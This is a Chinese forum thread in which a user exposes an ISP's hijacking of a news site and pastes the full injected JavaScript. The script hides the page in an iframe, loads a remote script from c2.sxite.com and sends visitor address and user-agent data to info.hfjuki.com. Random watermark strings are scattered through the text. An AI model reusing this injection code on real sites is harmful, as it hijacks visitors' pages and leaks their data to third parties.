上网奇遇记

hudba

2 \. r3 |8 r& p! h. q4 w5 j
* i1 F4 \( k9 A. N* i% D上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了
9 w9 [; P1 I2 ^4 H, o4 q3 C
接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

' _. Z7 J/ F7 O. y顺便查下ip138：
7 F8 N% ~, w0 r/ @+ w/ w. ~
/ H8 c. \& f( p) s6 S这是那段js里面的代码，好象是个半成品还没写入广告数据：
: p. q, b( x/ q

1. function locationSearch() {
   / x/ C& V! F7 L5 D
2.         var s = getMainJs();
   
3.         if (s == null) {
   
4.                 location.reload();
   7 `& D# G1 X8 S
5.         }
   : Z5 \! }" p  I6 ]( ^% L
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   / S+ O; ]8 }  `! N1 x; D
7. }
   $ @  g: \6 _# r' N0 Y5 ^- A6 s
8. 
   ' W' F* d$ s8 C! I; M! d
9. function getParameter(name, paraStr) {
   
10.         var result = "";
    
11.         var str = "&" + paraStr.split("?")[1];
    ; J2 K9 S7 v* O6 d) @1 O% a! S  V
12.         var paraName = "&" + name + "=";
    
13.         if (str.indexOf(paraName) != -1) {
    
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    - e, Z) z3 f- M5 N# t
17.                                         1, TmpStr.length).indexOf("&")
    - M$ K4 m6 W" T$ N* H
18.                                         - TmpStr.indexOf(paraName) + 1);
    
19.                 } else {
    
20.                         result = str.substring(str.indexOf(paraName), str.length);
    
21.                 }
    
22. 
    " H6 K2 f3 T9 J2 _; ^
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    + A6 c1 q# K, \
24.         } else {
    
25.                 result = "No such parameter";
    
26.         }
      e$ f5 T; X* B+ b: j
27.         return (result.replace("&", ""));
    4 N1 U; {9 z1 `% a
28. }
    3 c' c' r! B4 p! ?
29. 
    * I2 w/ q. P2 w' h
30. function getMainJs() {
    # r% E% j9 m, D+ m
31.         var scripts = document.getElementsByTagName("script");
    
32.         var s = null;
    
33.         for (var i = 0; i < scripts.length; i++) {
    . U% r# h: ^! U3 F: T# X) {
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    4 r7 g9 O, V& P
35.                         s = scripts[i];
    + c' K% `" P- K
36.                         break;
    ( t6 ]( w  Z9 n+ k
37.                 }
    
38.         }
    & \6 q, }7 H. E+ @
39.         return s;
    5 I$ |4 e  B  l& T: O
40. }
    
41. 
    
42. function appendParam(oStr, aStr) {
    + F) r9 n8 B+ p! Z
43.         if (oStr.indexOf('?') > 0) {
    
44.                 oStr = oStr + "&" + aStr;
    
45.         } else {
    
46.                 oStr = oStr + "?" + aStr;
    0 [% r. w1 _' \) a$ s. g
47.         }
    & v8 F, e/ D1 C6 n0 ]: |
48.         return oStr;
    
49. }
    % A: F  ?# i5 O8 O( S! X
50. 
    0 ]! }4 I+ H1 a/ u; y; a
51. window.onerror = function() {
    0 m: [6 n; x/ u9 z" |1 e
52. };
    
53. 
    7 g7 v' N9 L% A& @1 e% g/ _
54. var g_titleTime = 0;
    / @, D3 r; S% E/ F. a
55. function setTcTitle() {
    ! X0 x) P; D# _( y% b
56.         if (undefined == document) {
    : p% T' s! I5 T4 p4 T6 G
57.                 g_titleTime++;
    
58.                 setTimeout("setTcTitle();", 1000);
      x8 t4 J1 E0 [. `9 g! s1 m
59.                 return;
    
60.         }
    
61. 
    
62.         var doc;
    
63.         try {
    " B& u" r3 {2 w0 C0 c3 D
64.                 if (document.all) {
    
65.                         doc = document.frames["cn"].document;
    
66.                 } else {
    
67.                         doc = document.getElementById("cn").contentDocument;
    
68.                 }
    
69.         } catch (ex) {
    
70.         }
    " W; g" E8 T5 p% g$ _
71. 
    : R: f3 d6 n9 Y' U1 ~
72.         if (g_titleTime < 5
    # u3 R. ]6 w" x) J) b* V. P
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    5 U6 b- O- F$ \# H9 h" t
74.                 g_titleTime++;
    $ K  O1 ~* ^& K( e7 w+ v: h8 {) H
75.                 setTimeout("setTcTitle();", 1000);
    / f# e! U  v7 p- }
76.                 return;
    % F4 g) Q% n3 q; p$ i0 I
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    
78.                 document.title = doc.title;
    0 K' Z8 l! C9 I% T# a& D
79.                 setTcAdvVisible();
    
80.         }
    ( J5 y4 o9 o  H+ l% e
81. }
    
82. 
    2 Z4 P8 a) P' q
83. setTimeout("setTcTitle();", 1000);
    
84. 
    9 x1 ?8 I$ j' d  S: A* w/ S) H
85. var g_isHaveVisible = false;
    
86. function setTcAdvVisible() {
    
87.         if (undefined != document && undefined != document.getElementById("addiv")
    
88.                         && !g_isHaveVisible) {
    
89.                 document.getElementById("addiv").style.visibility = 'visible';
    0 s: P, G% w6 J! _) H$ z& \9 o
90.                 document.getElementById("addiv").style.display = 'block';
    ! z& k: o' J; Z( T
91.                 g_isHaveVisible = true;
    : X9 [) @8 r7 ^+ r' t
92.         }
    
93. }
    
94. 
    
95. function UrlAnalyzer() {
    ' {. g; ^" _0 h6 g9 Y
96.         this.divda = "";
    0 x% @( v% y  d" r
97.         this.tctype = "";
    6 I( E% M2 G) }4 C
98.         this.radius = "";
    9 Q. X4 c" {  p0 ^: ~
99.         this.rlu = "";
    9 b. O: {. v* s3 j
100. }
     % Z1 V; i3 }( ]3 j! A% W0 }+ z
101. 
     + P3 l- f; y7 V+ W) ^( \( a4 l+ f
102. UrlAnalyzer.prototype.initParameters = function() {
     
103.         var paraStr = locationSearch();
     - t* O/ d4 F1 `
104.         this.rlu = getParameter("lruedct", paraStr);
     
105.         this.divda = getParameter("divda", paraStr);
     . j) K  U7 l% R+ Z! C, L2 K& l
106.         this.radius = getParameter("radius", paraStr);
     # n3 t* c; T0 o3 C. I
107.         this.tctype = getParameter("tctype", paraStr);
     
108.         this.address = getParameter("address", paraStr);
     
109.         this.usagent = getParameter("usagent", paraStr);
     
110. }
     ; U+ @2 `" T1 C3 {9 e; y8 a$ d
111. 
     
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     
113.         var doc;
     ! F* e# R4 A' j! _
114.         try {
     / ]* h) O& e- c6 |* a5 s+ W
115.                 if (document.all) {
     1 O' d& }  y/ B. x
116.                         doc = document.frames["cn"].document;
     / a! E' T$ g; ]7 G' p% o
117. 
     
118.                 } else {
     7 Z: c6 e* j- V
119.                         doc = document.getElementById("cn").contentDocument;
     
120.                         // doc = document.getElementById("cn").contentWindow.document;
     
121.                 }
     8 c- L" {$ R' f- w( [
122.         } catch (ex) {
       g/ p  Y+ W! Q
123.         }
     ! W6 u" c2 A' w: c# E! I
124.         return doc;
     
125. }
     
126. 
     
127. UrlAnalyzer.prototype.setDomain = function() {
     
128.         if (undefined != document.title && "" == document.title)
     
129.         {
     : _9 f, n8 u% V. K# C0 Q4 ^1 m, r
130.                 var index = document.domain.indexOf(".");
     
131.                 if (undefined != index && -1 != index) {
     # `0 e" n' K/ Z  A& R2 Z
132.                         document.domain = document.domain.substring(index + 1,
     
133.                                         document.domain.length);
     
134.                 }
     # s5 `3 E2 M/ ]
135.                
     
136.                 var doc = this.getHtmlDoc();
     
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
138.                         document.title = doc.title;
     ! _8 A) @3 T4 U  V1 v2 G/ P
139.                         setTcAdvVisible();
     
140.                 }
     
141.         }
     
142. }
     
143. 
     + u" j. l+ }  q! t) u
144. UrlAnalyzer.prototype.iframeCallback = function() {
     
145.         var doc = this.getHtmlDoc();
     
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     
147.                 if (undefined != document.domain) {
     : x* r2 s1 D* u, ^; x' r
148. 
     1 H$ h. c+ }4 Z9 z& }/ W5 j3 p
149.                         var self = this;
     % |  {" R$ ^( U: I2 K
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     $ |, @2 {$ ~/ j( U2 Y5 o+ h) O
151.                         // var index = document.domain.indexOf(".");
     ; i3 W/ ^3 g) o* E
152.                         // if (undefined != index && -1 != index) {
     
153.                         // document.domain = document.domain.substring(index + 1,
     ! s" n1 i3 O' C
154.                         // document.domain.length);
     9 t1 I2 T% S7 B, F- [
155.                         // }
     2 i- e4 E: C* A( g! B
156.                         //
     " i* ?1 g% f9 J6 J# f
157.                         // var doc = this.getHtmlDoc();
     4 B; b" Y: g* a! G$ _. U
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     
159.                         // doc.title) {
     ' O- t! I$ w, X) V3 G0 `: U! w* i6 v
160.                         // document.title = doc.title;
     / `! q1 _- w$ b0 l+ _7 N
161.                         // setTcAdvVisible();
       N2 F6 F8 R0 m' k8 N0 H, ^3 A5 ?
162.                         // }
     3 M! w) V/ I3 O2 f
163.                 }
     - ^+ Y6 I3 o, p4 [; a2 {
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     5 [, L2 n5 ]9 |# r3 _: M. ^
165.                 document.title = doc.title;
     
166.                 setTcAdvVisible();
     % q! H& c* r/ k
167.         }
     
168. }
     
169. 
     
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     & V6 m% n0 [9 \
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     ) x, D) i1 w7 p# a- F' z
173. 
     6 T' [  u  [! i; _$ D+ O- y2 G
174.         var htmlStr = "<iframe src="" + staUrl
     ; q) I$ U& I6 q% u7 y
175.                         + "" style="display:none"></iframe>";
     
176. 
     
177.         var advUrl = htmlStr
     3 u/ o( O( f8 m0 L$ [, u
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     
180.         document.write(advUrl);
     # |$ ]8 t5 L$ y% A/ r/ g" R
181. 
     
182.         var self = this;
     
183.         var iframe = document.getElementById("cn");
     
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     & c. k$ j1 ?8 f( n% `
186.                         self.iframeCallback.call(self, null);
     
187.                 });
     8 Y3 p! q8 C! H& X
188.         } else {
     . Q$ _) u- \& E+ A9 S& O
189.                 iframe.onload = function() {
     
190.                         self.iframeCallback.call(self, null);
     
191.                 }
     * _; p7 u7 o, {5 \, F, ?1 S
192.         }
     
193. }
     
194. 
     
195. UrlAnalyzer.prototype.executeMain = function() {
     : s) h0 e4 P7 a
196.         var mainFrame = document.getElementById("cn");
     * [' f! d5 Z# Y: j
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     
198.         this.initParameters();
     
199.         this.executeHtmlContext();
     
200. }
     
201. 
     + P; q5 h: p- m/ I
202. var g_analyzer = new UrlAnalyzer();
     
203. g_analyzer.executeMain();
     

复制代码

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

9 X' P! h) Z% Z  }, K3 p- BTCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
TCP劫持，换DNS也不管用的。

幸好联通还木有这么强的技术

哈默

在国内，习惯就好